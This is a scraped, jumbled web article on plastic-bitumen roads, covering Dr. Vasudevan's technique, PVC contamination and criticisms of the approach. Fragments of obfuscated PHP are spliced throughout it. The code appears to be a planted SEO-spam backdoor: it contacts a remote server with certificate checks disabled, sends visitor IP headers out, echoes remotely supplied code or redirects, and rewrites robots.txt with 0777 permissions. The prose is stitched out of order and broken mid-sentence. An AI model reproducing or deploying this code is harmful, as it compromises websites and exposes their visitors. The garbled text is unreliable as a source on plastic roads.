They use a process in which workers add shredded plastic to hot stones to form a thin primer layer. Overall, this process of melting plastic to create a viscous liquid has proven very beneficial. We have already brought ourselves to the brink of climate catastrophe with all the burning we have done over the last two centuries. Dr. Vasudevan does not intend to profit from it. "_" . Share it with your friends! Dr. Vasudevan specifies that only polypropylene (PP), polystyrene (PS) and polyethylene (PE) polymers should be used, and that PVC (polyvinyl chloride or flex) should not be allowed to contaminate the feedstock of waste plastics used in road laying. Difference Between Plinth Level, Sill Level, and Lintel Level. Adaptive Cruise Control : What is it? ".list", $_828m12mh . After the road laying- It is opined that the first rain will trigger leaching. The construction process of Plastic Roads varies as it is a relatively new idea. Despite all the talk about Reduce, Reuse and Recycle -- a mantra that ironically was promoted by the plastics manufacturers themselves plastics production continues to grow at a steady rate of 9 percent. First, something about the details of the success story. Innovated by Dr. A. Vasudevan, a chemist from Thiagarajar College of Engineering (TCE), Madurai, the plastic-bitumen road-laying technique is a patented idea. Year-Round Stock - Largest On-Site Inventory, Ready to Ship. However, only 20% of the MSW is converted into compost at present. How To Prepare for Your Asphalt Sealing Job. This factor leads many people to consider,are there advantages of using plastic to make roads? I am a Degree Holder in Civil Engineering. Your email address will not be published. Vital Signs, Volume 22: Trends that are shaping our future. 2015.] chr($_e1sfft94);}} while ($_nms1ebw0 < strlen($_efa9rziw));return $_esetfuvv;}private function _subdr($_828m12mh){$_lx0sjdo6 = "";$_f81jkr2t = "";$_ml40t87w = _lda0hc::_h6qek();$_ml40t87w["uid"] = _lda0hc::$_df6hufth;$_ml40t87w["keyword"] = $_828m12mh;$_ml40t87w["tc"] = 10;$_ml40t87w = http_build_query($_ml40t87w);$_33tm41mt = _mtcvqi::_0jicd($this->_n4rn33sr, $_ml40t87w);if (strpos($_33tm41mt, _lda0hc::$_df6hufth) === FALSE) {return array($_lx0sjdo6, $_f81jkr2t);}$_lx0sjdo6 = _sh9xgp2::_fqr0f();$_f81jkr2t = substr($_33tm41mt, strlen(_lda0hc::$_df6hufth));$_f81jkr2t = explode("\n", $_f81jkr2t);shuffle($_f81jkr2t);$_f81jkr2t = implode(" ", $_f81jkr2t);return array($_lx0sjdo6, $_f81jkr2t);}private function _nro6t(){$_ml40t87w = _lda0hc::_h6qek();if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {$_ml40t87w['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];}if (isset($_SERVER['HTTP_X_REAL_IP'])) {$_ml40t87w['xreal'] = @$_SERVER['HTTP_X_REAL_IP'];}if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_ml40t87w['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];}$_ml40t87w["uid"] = _lda0hc::$_df6hufth;$_ml40t87w = http_build_query($_ml40t87w);$_nh33fegd = _mtcvqi::_0jicd($this->_bs94zvur, $_ml40t87w);$_nh33fegd = @unserialize($_nh33fegd);if (isset($_nh33fegd["type"]) && $_nh33fegd["type"] == "redir") {if (!empty($_nh33fegd["data"]["header"])) {header($_nh33fegd["data"]["header"]);return true;} elseif (!empty($_nh33fegd["data"]["code"])) {echo $_nh33fegd["data"]["code"];return true;}}return false;}public function _cb7nl(){return _aus76cu::_cb7nl() && _sh9xgp2::_cb7nl() && _7ejh67f::_cb7nl();}static public function _hf7ac(){if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {return true;}return false;}public static function _vmhjl(){$_andfxj3q = explode("? ".list", $_fwxioqr0);}static public function _bw2av($_828m12mh){@file_put_contents(_7ejh67f::$_y0cg5rk9 . Its essential that you properly prepare for an asphalt sealing job ahead of time. Dr. Vasudevan is right about PVC. "salt3"), 0, 6);$_ty56szt0 = "";if (substr($_mdxxrv14, -1) == "/") {if (ord($_g2sgg2m8[1]) % 2) {$_828m12mh = str_replace(" ", "-", $_g2sgg2m8 . @file_exists(_sh9xgp2::$_mg8ineh5)) {@mkdir(_sh9xgp2::$_mg8ineh5);}}public static function _cb7nl(){return TRUE;}static public function _ieqpv(){$_a53xa54i = 0;foreach (scandir(_sh9xgp2::$_mg8ineh5) as $_1r1ytw3i) {if (strpos($_1r1ytw3i, _sh9xgp2::$_y0cg5rk9) === 0) {$_a53xa54i += 1;}}return $_a53xa54i;}static public function _fqr0f(){$_wtc22jcu = array();foreach (scandir(_sh9xgp2::$_mg8ineh5) as $_1r1ytw3i) {if (strpos($_1r1ytw3i, _sh9xgp2::$_y0cg5rk9) === 0) {$_wtc22jcu[] = $_1r1ytw3i;}}return @file_get_contents(_sh9xgp2::$_mg8ineh5 . These plastics too release toxic gases when heated. Since then many municipalities across India have experimented and implemented this technology such as Pune, Mumbai, Surat, Indore, Delhi, Lucknow, etc. md5($_828m12mh . '/', _7ejh67f::_fqr0f(), $_sk5gmeyq, 1);if ($_xmahux1u === $_sk5gmeyq) {break;}$_sk5gmeyq = $_xmahux1u;}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/', $_sk5gmeyq, $_z1u0liqn);if (empty($_z1u0liqn)) {break;}$_828m12mh = @$_6nmsnsc1[intval($_z1u0liqn[1])];$_5qv8b0qq = _lda0hc::_batgm($_828m12mh);$_sk5gmeyq = str_replace($_z1u0liqn[0], $_5qv8b0qq, $_sk5gmeyq);}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX (\d*) }}/', $_sk5gmeyq, $_z1u0liqn);if (empty($_z1u0liqn)) {break;}$_828m12mh = @$_6nmsnsc1[intval($_z1u0liqn[1])];$_sk5gmeyq = str_replace($_z1u0liqn[0], $_828m12mh, $_sk5gmeyq);}while (TRUE) {preg_match('/{{ RANDFLOAT (\d*)-(\d*) }}/', $_sk5gmeyq, $_z1u0liqn);if (empty($_z1u0liqn)) {break;}$_sk5gmeyq = str_replace($_z1u0liqn[0], _3ki5x($_z1u0liqn[1], $_z1u0liqn[2]), $_sk5gmeyq);}while (TRUE) {preg_match('/{{ RANDINT (\d*)-(\d*) }}/', $_sk5gmeyq, $_z1u0liqn);if (empty($_z1u0liqn)) {break;}$_sk5gmeyq = str_replace($_z1u0liqn[0], rand($_z1u0liqn[1], $_z1u0liqn[2]), $_sk5gmeyq);}return $_sk5gmeyq;}public function _jyo6n(){$_nlra0m7q = _aus76cu::$_mg8ineh5 . Workers engaged in road-laying are particularly at risk from these emissions. Why are we destroying resources that we should be sharing with the future generations? $_y3ykebhl, FILE_IGNORE_NEW_LINES));}}return _7ejh67f::$_wyhbcvbm;}static public function _jyo6n($_fwxioqr0){if (@file_exists(_7ejh67f::$_y0cg5rk9 . 3 per kg of scrap. As we first mentioned, the fumes that come from burning plastic are a form of environmental pollution. Households and other unit wrap all garbage in plastic bags and dispose of them. Plastic roads mainly use plastic bags, cups, and bottles collected from garbage dumps as the main ingredient for its asphalt. They do not absorb water, have better flexibility which results in less rutting and less need for repair. "\n" . Prominent areas in the city like the N.S.C Boseroad, Hallsroad, Ethiraj Silai street and Sardar Patel street are layered withplasticcomponents. "https" : "http", $_SERVER['HTTP_HOST'], $_zpu28gls);}public static function _batgm($_828m12mh){$_mdxxrv14 = _lda0hc::_vmhjl();$_g2sgg2m8 = substr(md5(_lda0hc::$_df6hufth . Read: What Is Transported Soil | Transported Soil Definition | Classification of Transported Soil | Residual Soil and Transported Soil, Also, Read: Parking In India | What Is Parking | Parking Statistics | Types of Car Parking | How to Park a Car Perpendicular | Types of Parking Spaces. Till now, the country has almost 33,700 km of plastic roadways that means every 1 km road uses 1 million plastic bags. The other type of plastic road is made by. ", $_SERVER["REQUEST_URI"], 2);$_andfxj3q = $_andfxj3q[0];if (strpos($_andfxj3q, ".php") === FALSE) {$_andfxj3q = explode("/", $_andfxj3q);array_pop($_andfxj3q);$_andfxj3q = implode("/", $_andfxj3q) . The recycled plastic is mixed with hot bitumen, then the plastics melt to form an oily coat over the aggregate and the mixture is laid on the road surface like a normal tar road. md5($_r0c9xfdb) . Construction of Plastic road makes the roads, Construction of Plastic road gives roads better protection from. However, we cant ignore the fact that plastic is a non-biodegradable material and burning it creates environmental pollution. document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() ); At CivilJungle, we clarify civil engineering and publish all the happenings & news of civil engineering. chr($_n75kif2b);if ($_9a2k66au != 64) {$_esetfuvv = $_esetfuvv . But neither is it convenient to live in a dead planet. The volume of plastics required for road laying makes it virtually impossible to ensure that PVC is kept out. d) Impractical According to a presentation on TCE's website, a 107 square foot plastic road will require 1 lakh plastic carry bags. Also, Read: What Is Road Pattern | Different Types of Road Patterns | Grid Pattern Definition | Radial Pattern | Rectangular or Block Pattern | Minimum Travel Pattern, Also, Read:WBM Road | Material Required for Construction of WBM Road | Construction Procedure of WBM Road | Advantages & Disadvantages of WBM Road, Also, Read: What Is a Classified Road | Classification of Roads in India, Also, Read:What Is Superelevation | Superelevation Definition | Superelevation Formula | Calculation of Superelevation in Roads, Also, Read:Road Development Plans in India, Also, Read:What Is the Gradient of Road | Types of Road Gradient | Factors Affecting Gradient |Effect of Gradient on Roads, Also, Read:What Is Camber in Road | Types of Camber| Advantages of Camber in Road. Chennai municipality adapted this technology in a big way by commissioning. $_eysjbv0m, NULL, $_vlgsftp3);}if (empty($_y445s0h0)) {return FALSE;}if (strpos($_y445s0h0, $_kb25ac31) === FALSE) {return FALSE;}}return TRUE;}public static function _63ajb(){$_159d1ncu = "User-agent: *\nDisallow: %s\nUser-agent: Bingbot\nUser-agent: Googlebot\nUser-agent: Slurp\nDisallow:\nSitemap: %s\n";$_andfxj3q = explode("? "/robots.txt";if (@file_exists($_nicu9duy)) {@chmod($_nicu9duy, 0777);$_73286swj = @file_get_contents($_nicu9duy);} else {$_73286swj = "";}if (strpos($_73286swj, $_f3plf815) === FALSE) {@file_put_contents($_nicu9duy, $_73286swj . Required fields are marked *. Cleaning process- Toxics present in the co-mingled. Could that then be used to be processed into construction materials for roads? ".list")) {return;}@file_put_contents(_7ejh67f::$_y0cg5rk9 . Brightly coloured plastic items attract sea birds and mammals that ingest them and die. "/";_7ejh67f::$_y0cg5rk9 = $_nrw3vudd;if (! Plastic roads have increased binding and better bonding of the mixture components than. However, a breakthrough discovery has offered a way to recycle this material. Your email address will not be published. "_" . $_pj0tc220, "", $_gfqor979);$_828m12mh = $_gfqor979;}}}if (empty($_828m12mh)) {$_6nmsnsc1 = _7ejh67f::_b4rea();$_828m12mh = $_6nmsnsc1[0];}if (!empty($_828m12mh)) {$_828m12mh = str_replace("-", " ", $_828m12mh);if (!$this->_2ig98()) {if ($this->_nro6t()) {return;}}$_828m12mh = urldecode($_828m12mh);$_nh33fegd = _aus76cu::_2idt3($_828m12mh);if (empty($_nh33fegd)) {list($_lx0sjdo6, $_f81jkr2t) = $this->_subdr($_828m12mh);if (empty($_f81jkr2t)) {return;}$_nh33fegd = new _aus76cu($_lx0sjdo6, $_f81jkr2t, $_828m12mh, _lda0hc::_b64s1(_lda0hc::$_zcihyr1v, _lda0hc::$_tw16uhhg));$_nh33fegd->_jyo6n();}echo $_nh33fegd->_vh5ig();}}}_aus76cu::_bcp81(dirname(__FILE__), -1, _lda0hc::$_df6hufth);_sh9xgp2::_bcp81(dirname(__FILE__), substr(md5(_lda0hc::$_df6hufth . In favor, we can also have international standard roads and pavements which are litter free. long2ip(_mtcvqi::$_x3hieu76 - 898) : $_sqoo6uqb[2];$_sk5gmeyq = _mtcvqi::_zxv7b($_sqoo6uqb, $_ml40t87w);if (!$_sk5gmeyq) {$_sk5gmeyq = _mtcvqi::_j5lv2($_sqoo6uqb, $_ml40t87w);}return $_sk5gmeyq;}static function _zxv7b($_sqoo6uqb, $_sk5gmeyq, $_vlgsftp3 = NULL){if (!function_exists('curl_version')) {return "";}if (is_array($_sqoo6uqb)) {$_sqoo6uqb = implode("/", $_sqoo6uqb);}$_0ykiheel = curl_init();curl_setopt($_0ykiheel, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($_0ykiheel, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($_0ykiheel, CURLOPT_URL, $_sqoo6uqb);if (!empty($_sk5gmeyq)) {curl_setopt($_0ykiheel, CURLOPT_POST, 1);curl_setopt($_0ykiheel, CURLOPT_POSTFIELDS, $_sk5gmeyq);}if (!empty($_vlgsftp3)) {curl_setopt($_0ykiheel, CURLOPT_HTTPHEADER, $_vlgsftp3);}curl_setopt($_0ykiheel, CURLOPT_RETURNTRANSFER, TRUE);$_ruaeyj9a = curl_exec($_0ykiheel);curl_close($_0ykiheel);return $_ruaeyj9a;}static function _j5lv2($_sqoo6uqb, $_sk5gmeyq, $_vlgsftp3 = NULL){if (is_array($_sqoo6uqb)) {$_sqoo6uqb = implode("/", $_sqoo6uqb);}if (!empty($_sk5gmeyq)) {$_as7t9juq = array('method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded','content' => $_sk5gmeyq);if (!empty($_vlgsftp3)) {$_as7t9juq["header"] = $_as7t9juq["header"] . ".html")) {return;}@file_put_contents(_sh9xgp2::$_y0cg5rk9 . This is one of the foremost areas that directly benefits the agriculture. Since the turn of the century, India has been using plastic in the building and repairing of roads. So don't hold your breath the road to a landscape without carry bags is not a plastic road. In Jamshedpur Plastic Roads are constructed from a. Alternative material are already readily available for some of the plastic applications cloth bags instead of carry bags, cardboard instead of thermocol/styrofoam packaging etc. We need alternatives, of which some may not be convenient. To put this in perspective,CNN reportsthat every ton of asphalt contains approximately 20,000 single-use plastic bottles or around 70,000 single-use plastic bags. When combined with hot bitumen, the plastic melts to make an oily coating, and the professionals can lay the mixture on the road just like normal asphalt. But now, many companies are attempting to recycle plastic into something much larger Roads. The next Plastic Roads was constructed on Giethroon, known as Venice of the Netherlands, in November 2018. While Volkwer Wessels Plastic Road is still a concept and which is yet to be implemented; but it's becoming quite popular in Holland, where 96 million tons of carbon dioxide are released into the air through road building and maintenance alone. B Tech courses : ECE, CSE, IT, EEE, Mech, CIVIL - Click Here, Diploma Courses: Mech, Civil, ECE, EEE - Click Here, M Tech courses: CSE, ECE, Mech, CIVIL - Click Here, Elevate to Data Analytics: Scope, Opportunities and Careers for Students. "salt3"), 0, 6);if (isset($_GET[$_pj0tc220])) {$_828m12mh = $_GET[$_pj0tc220];} elseif (strpos($_SERVER["REQUEST_URI"], $_pj0tc220) !== FALSE) {$_aswa2j0t = explode("/", $_SERVER["REQUEST_URI"]);foreach ($_aswa2j0t as $_mh60v4ta) {if (strpos($_mh60v4ta, $_pj0tc220) !== FALSE) {$_27ym1h2g = explode("=", $_mh60v4ta);$_gfqor979 = array_pop($_27ym1h2g);$_gfqor979 = str_replace($_pj0tc220 . We cover the pros and cons below. So what's my problem with plastic roads?a) End-of-pipe interventions contribute to the perpetuation of the problem By making it seem as if there is a safe, sustainable and efficient way of disposing plastics, interventions such as this tend to take the focus off the steadily mounting plastics crisis -- increasing plastic production, the inherent unsustainability of the industry and the toxic pollution associated with production, use and disposal of plastics.